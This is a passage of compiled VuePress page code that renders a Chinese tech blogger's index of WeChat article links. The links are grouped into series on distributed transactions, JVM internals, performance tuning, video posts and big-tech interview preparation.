"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498939&idx=1&sn=3d4920bdfd9a6df6b7a3feb28a77f0d0&chksm=cf564bbaf821c2acac70e488f1a4fc8b009d9323a3717fa651463e0650fca0d06682d8555c3b&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在大厂担任架构师需要掌握哪些核心技能?(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500047&idx=1&sn=17dcb702ad1533bb77861e467a4aebe2&chksm=cf56760ef821ff1820387097baa8d67678ed19df172f3622dbc5b7ab1ccc7bde54301d83dc11&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不同业务场景该如何选择缓存的读写策略?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s/AY3mlwrPGD5hbob0Ja73TA",target:"_blank",rel:"noopener noreferrer"}},[e._v("复盘:我在真实场景下对几款主流云原生数据库进行极限性能压测的一次总结!!(建议收藏)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"分布式事务系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式事务系列"}},[e._v("#")]),e._v(" 分布式事务系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497675&idx=1&sn=ff56c55baa17f90d9bcf2bb5478771ab&chksm=cf5640caf821c9dce560d6b7ea619b4cbbb9fc082c4858131d1dc846a5275b9214e579d79a43&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试分布式事务必问知识点!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489327&idx=1&sn=d7a1bd61e6403d2adf8c393dd43ede4d&chksm=cf55a02ef82229389c92eed4047980df8dddbc0cff0573f5e7d701aed8e58c9fd86d1c9345c0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("tcc-transaction分布式TCC型事务框架搭建与实战案例(基于Dubbo/Dubbox)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489296&idx=1&sn=b14e1a2636038996785330afd7ac4690&chksm=cf55a011f822290717d8c33588bb9f19c3d3bbd6606bd9d5d262cdb7ee86db75f9022369b2c0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何基于消息中间件实现分布式事务?万字长文给你答案!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489293&idx=1&sn=481df6b2ec975b7d5065a30306c99ff9&chksm=cf55a00cf822291a6cbaa63450bce39150bc6515a86733b455a3079b898e4242de4caef39346&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:如何恢复MySQL中的XA事务?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489572&idx=1&sn=283f24189f3add773ffa2f8a314ac8d1&chksm=cf55af25f822263342c3d67490d803b1de9a7199ee765c8614f7dda90441480877d2af02c8ef&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("12张图带你彻底理解分布式事务产生的场景和解决方案!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489149&idx=1&sn=6d82218e24a08b56b1ae16230a313b4e&chksm=cf55a17cf822286a31a09299d293c96c8f41f37350b2e4fe9cdd6706820321b163e7a3e4232b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何基于消息中间件实现分布式事务?我想说的都在这儿了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489458&idx=1&sn=3f9997b178148c0152110e888aac45bc&chksm=cf55a0b3f82229a59dcc4754dd5b4cc355b960c44aaeeb22785da96b6f832cf9e42842d1d117&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("tcc-transaction分布式TCC型事务框架搭建与实战案例(基于Dubbo/Dubbox)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"精通jvm系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#精通jvm系列"}},[e._v("#")]),e._v(" 精通JVM系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497051&idx=1&sn=38312719e86b7f9cef31c00102da6c48&chksm=cf56425af821cb4c779873fdd793a73af274305f74de7ae72a06fcd2d9224f44541f4a2cad40&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("逃逸分析,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489318&idx=1&sn=bd0b6912601dde225cb9212971a41de6&chksm=cf55a027f82229315a3fa594538c8f4b7dc2300d0480e684070d54f5f5e1896533fe1cdb6c47&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于JVM,你需要掌握这些!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489122&idx=1&sn=760a751b5d0f927a39051c39f03c19da&chksm=cf55a163f8222875a1422bd2b5550f1c91ebface3773f171b259d60937e17b8514231b8f3069&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("肝了一周,吐血整理出这份超硬核的JVM笔记(升级版)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247498909&idx=1&sn=67a21df964f45f10cbdd669a97a5cc07&chksm=cf564b9cf821c28a09876886f69c47c0aed8086dc124d6cbae9b0c9c89764cea81f5ae1a70ed&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM 内存布局(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499173&idx=1&sn=b4ef46c3d2bac53bf5af44acfe3a76c6&chksm=cf564aa4f821c3b291e83b2e48995b5f4c0564156b2ea4e5900fac30f7bbef7d09d64e507e18&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM调优的几种场景(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499246&idx=1&sn=4bb2af5be2bfe2ea19fa2c899781b894&chksm=cf564aeff821c3f93e4491f5cf0eef70473c3e337acb1540162c9bdb86a5709f04f59ec7b729&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("类的编译、编译优化、常量这地、泛型擦除、条件编译(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499270&idx=1&sn=c4b90d564ffd71fe098f34c75d9a3d77&chksm=cf564907f821c01106be971b821e83fcfbcd5e7b8e510d4582fd0618a2f9dc5a0ecff73219a6&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("类的加载过程(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499304&idx=1&sn=13e15f0a0e8999ac28e83f0e90e7e938&chksm=cf564929f821c03f3f81b53a7c11499865c9be39bd1ebd835061c4e7a1744ef89bbefbb48fee&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM内存空间(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499346&idx=1&sn=fd0b892c55177cc78cc69be0ff7e84c1&chksm=cf564953f821c0454f31bd284748b26ae2aec1795cbf62625fddc64fae99c4687795de3d066e&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM堆内存分配机制(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499370&idx=1&sn=9584ccbeb437823a59f4a6af7058d4a8&chksm=cf56496bf821c07dc09d199169e0a3057bf3a400420837594dc37d0cc2edfab5ca6fd82b041d&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM垃圾回收机制(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499394&idx=1&sn=7d7ab984a059d8867a1c8dad5d919a26&chksm=cf564983f821c095d733af641e82dc3e7a23c22c559eb6e07fd52ec9fe3b80b68dbea3cf70d7&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM垃圾回收算法(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499410&idx=1&sn=787037527afd5762e407626d010a7589&chksm=cf564993f821c085f481e96730ab0c0ff59db0dfa6630e72e3fcfd5ef2656e5f3bfd2b56253e&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM - CMS垃圾收集器(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499418&idx=1&sn=d389ba1e25dbf315ddbf92775e4c43b6&chksm=cf56499bf821c08dd1b0d8758169c58a5539ce3d405334d2dc70207f01f9f864fb6093336717&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("JVM - G1收集器、Region、停顿时间模型、垃圾回收(建议收藏)"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"视频号系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#视频号系列"}},[e._v("#")]),e._v(" 视频号系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497995&idx=1&sn=0a06ee6e4e75f57e7bffd4feb2ae7013&chksm=cf564e0af821c71c43703032c78ae398d78ec19513f9fc0cceafbb9906d0108e038eb11eaf51&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河真人出镜聊职业发展!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247497792&idx=1&sn=aeae1755bd4f63dc2821695c9ff4e1b0&chksm=cf564f41f821c6576b100425d1d8e5a39273a22383b2cc90716d9e3b0650fbc021b3e85baa42&token=1170633251&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河第一次真人出镜!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496106&idx=1&sn=d25ad3830ce89ee32d46e646eefd9e4f&chksm=cf5646abf821cfbd6251c7886d0b359d263833f912e6bba97531cc001ba7a61f86d2ea46fed9&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不费脑子学习MySQL体系架构,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499381&idx=1&sn=2e0e09054db3e376006a3ef8259a413d&chksm=cf564974f821c0627753eba86bffaa16278f3e75865afc32540a3469d3b2d3b62d39375fc7fa&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高铁站露天等车回成都,一个字:冷!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500484&idx=1&sn=02b2f754e13617744d6413bf1c4adc9e&chksm=cf5675c5f821fcd3f7bad0b881a7d269430ebaf5dea01c7c1aa8ca395055ab2b79e9b6bc4905&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河做客墨天轮直播-DBA以及运维岗如何更好的规划职业生涯?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500491&idx=1&sn=bce5b1b513d375cbe4a8635eff9b01c1&chksm=cf5675caf821fcdc7b4b2eeea3a54c2bfb4c2c246b4abe18b4ef0b3d5a107285c225877f2976&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河直播-现场实战手写Java线程池源码"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247500604&idx=1&sn=f105d1804929d755ae5eae5cc211cef4&chksm=cf56743df821fd2b2e2facc453039f6629dee41a4132274173335158cd6f3a972ad8081ce1f4&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("技术人如何突破职场瓶颈?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247501045&idx=1&sn=99b4bf092187cb306600bf48de33b50d&chksm=cf5673f4f821fae2f956c5a331320a54ea0c1cb723ee37daa1efbb8b6d85d80f68f73f660c2b&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("搞不懂MVCC,学个毛的MySQL"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"性能调优系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#性能调优系列"}},[e._v("#")]),e._v(" 性能调优系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495332&idx=1&sn=6fcaf156fae6419a03ede479a30eede4&chksm=cf5659a5f821d0b37d8067bf868fb60780e5794e4220312e55c5f5e9bd3994c72b724f2f379d&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("系统性能优化的关键指标(yyds)!!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489431&idx=1&sn=b6b4a16f2f2d2e2368e92af7a0f0e7f1&chksm=cf55a096f82229805105038bfbf9d1509d56dc4edd425bbd2d95e1f2958b339f9a7d4fbaf95a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("万万没想到!Linux环境下Tomcat8启动很慢竟然是这样解决的!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489320&idx=1&sn=5b4e3327c01c9a9b5a44701e2861abfa&chksm=cf55a029f822293f350d5d51d29a6c947422e032218b4c519df57c7b3c7e4d949eae15844959&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("几种典型的内存溢出案例,都在这儿了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489189&idx=1&sn=e4a756f789f6840f5d1a3e006afe21b6&chksm=cf55a1a4f82228b2a6d271ecbfc01ea363098ae656356cf69a6b1b92cd5b74b780b6d8e95de8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("性能优化有哪些衡量指标?需要注意什么?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489187&idx=1&sn=bdb408cd594e9ba4c2bf625c0bd633f1&chksm=cf55a1a2f82228b4f6c6a25b164fa303e1e5c6e6df22e88c15ce22ebb9720fc11a6bff6ed89c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴问我性能指标监控怎么做,这次我安排上了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489185&idx=1&sn=63186214b5145a5f6567d9bae6fd34e6&chksm=cf55a1a0f82228b6ec127d7ece0b1343c970edc17861d4db6b361bd16da863676082ea43d4fe&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:Java中的对象和数组都是在堆上分配的吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489152&idx=1&sn=ea43c3d09d42e780dcc26d35c6f9cd86&chksm=cf55a181f82228971b193d73fd324963db377c3912fd6410bc91ca5901146681579881a8b971&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你敢信?String类竟然是导致生产环境频繁内存溢出的罪魁祸首!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489150&idx=1&sn=ad7377d24f5e0e7769d1d9753b078694&chksm=cf55a17ff8222869f335ef3367331bc4e187bcd2b82ec1a541bced63d46e48b2f82fcb46b05d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Java中的String到底占用多大的内存空间?你所了解的可能都是错误的!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489134&idx=1&sn=fa59dc70f8060a4670bdc5a2630e701f&chksm=cf55a16ff82228791e033427d673895e9a1699ac67983b18da6735a261d58a4695aa97163423&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("做过性能优化的工作吗?你会从哪些方面入手做性能优化呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489132&idx=1&sn=505e80f3a362ade361e90f1eaab22b2e&chksm=cf55a16df822287b64021b550ffe8bfe00ccb3e315568a5bb5f1973b0d22c045c0ba95113344&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("纳尼?内存又溢出了?!是时候总结一波了!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"一起进大厂系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#一起进大厂系列"}},[e._v("#")]),e._v(" 一起进大厂系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495500&idx=1&sn=bf750985622fdc84c4191ecfc6d3c964&chksm=cf56584df821d15b5f322e567d34f6aaa01c791f2c287f6ccb8cf751e0c64dae6387c1f0b620&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("报告:冰河撸了本《面试圣经》电子书!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499634&idx=1&sn=c667203b582caaba87b139b2f10cfb57&chksm=cf564873f821c16565a860cbb36f3953f137c7955e6c1e8a0e9a29c417a055480d9c6fad3e99&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河与你聊聊大厂更加看重哪些能力?(建议收藏)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247494985&idx=1&sn=208f18e8affe77360a542bcec777d690&chksm=cf565a48f821d35ee69d51ad08cad7e09c15387a2b3a9981369b3037d8817efb32f7f0f7df6a&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("明明自我感觉良好,可为啥就是进不了大厂呢?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492924&idx=1&sn=39cf807fb5aa26b73d16cb490197a569&chksm=cf56523df821db2b665fa07c3c02c2c966dc25165c09cd555447597dae05ec4a20968d67e709&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("头条一面:Spring IOC容器中只存放单例Bean吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492889&idx=1&sn=7b33ecf05cef968930399b46d147c193&chksm=cf565218f821db0ebd23154d38e689c44dd9f5bad3390f41036a3c0f4db1a52cb7644254fee6&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("热乎乎的面经:Spring中Scheduled和Async两种调度方式有啥区别?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492877&idx=1&sn=1624a1b0423de3857b28f852deae05f3&chksm=cf56520cf821db1a0ed3baa708f93c4f1d68d9f5d18507ac126bd1b9547e3418f56a31557712&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("进大厂,到底需要掌握哪些核心技能?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490267&idx=1&sn=2181dd10bc930f49b3bf5a44d62fcabc&chksm=cf55addaf82224cc42086018b6d77a8a17586ec414a324ec8473745150d60b7d1f14c626e2b8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:如果让你设计一个高并发的消息中间件,你会怎么做?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490503&idx=1&sn=3b2ad39a88ec09eeb1dc17d1ce259e7b&chksm=cf55acc6f82225d0cf074310020a2fc2d4ec85ebf44524bad96d2b239aa1fd11cc852c5f1353&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("同时拿到BATJMD的Offer是怎样的一种体验?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490521&idx=1&sn=da5bdb9e9079625a82cd843cbe4d136b&chksm=cf55acd8f82225ce9ef57ea0a2c7076eb267d65d02d703277cc254c35fa73e51d235544d7e2c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("即使技术再精,面试时一问这个必挂!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490675&idx=1&sn=eb63db12f3004dcde676224145128e50&chksm=cf55ab72f82222646f91b4c4c4f6b76b76b672f4f62e2a2916c29a9009d6e2473fadc1d703a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("字节跳动面试官这样问有关字符串的问题!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490748&idx=1&sn=32ab2d8522b9f47f53d77b4880e15c87&chksm=cf55abbdf82222ab5267e0fe0cb1df953e8ee2f74cd18b1f7d01449611ce647ba880d47d1687&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为何你进不了大厂?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490771&idx=1&sn=7a8870e3118117d5ae50b5fe94eda0a4&chksm=cf55abd2f82222c435213ee8d3865a44fcbe6c548a38db2f4c45620afd5ecf0a2cc22f02532d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河公开了进大厂必备的核心技能,服了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490906&idx=1&sn=c01aec12b225f9e0e69cba2c73b5e842&chksm=cf55aa5bf822234dcc319e42b803250bfd5ebb2d2b7db951b2409638252533c1d7cd1ae0416f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("金三银四,冰河为你整理了这份20万字134页的面试圣经!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489321&idx=1&sn=2e44884acb0de536dc905ac2de0a74f8&chksm=cf55a028f822293e67d545942c473014fc9adadab3af793c1229737af6ada254aefd3d75e9ec&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官灵魂拷问:if语句执行完else语句真的不会再执行吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489239&idx=1&sn=2c7c85b1145e59a39fba173398254337&chksm=cf55a1d6f82228c044066ff1910b1425719c06c3a0f3d25d7723f27b101e8c636efde4a75220&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("将 95% 求职者拒之门外的BAT大数据面试题-附解题方法(文末有福利)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489230&idx=1&sn=9b4e0b7b9f49f298e681be3dce108d80&chksm=cf55a1cff82228d9f3369d2706fda98eda41d093827819816463cc4f540ea9954fa31a1d7039&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("超硬核面经,已拿蚂蚁金服Offer!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489220&idx=1&sn=c939b92646054d25d3c8bc9146e3f7ff&chksm=cf55a1c5f82228d3d2c61f289f312bdb31a0f81475112f83413f41d1fe0f51535af986215239&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:数据库中事务的隔离级别有哪些?各自有什么特点?然而。。。"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489193&idx=1&sn=6d8912a62f5fd09c85a3d44a189e7ef9&chksm=cf55a1a8f82228be7c76699df36377e57347249e1d15b48bad9ef15f2497e9254a36b8d24bad&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:讲讲什么是缓存穿透?击穿?雪崩?如何解决?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489191&idx=1&sn=77c3ac60313a2e54e4cb719264f02cb4&chksm=cf55a1a6f82228b0094495740752f02e0614ba35bf543ad06b89873f6bce461f9a5d46b485a6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官:Java中提供了synchronized,为什么还要提供Lock呢?"),a("OutboundLink")],1)]),e._v(" 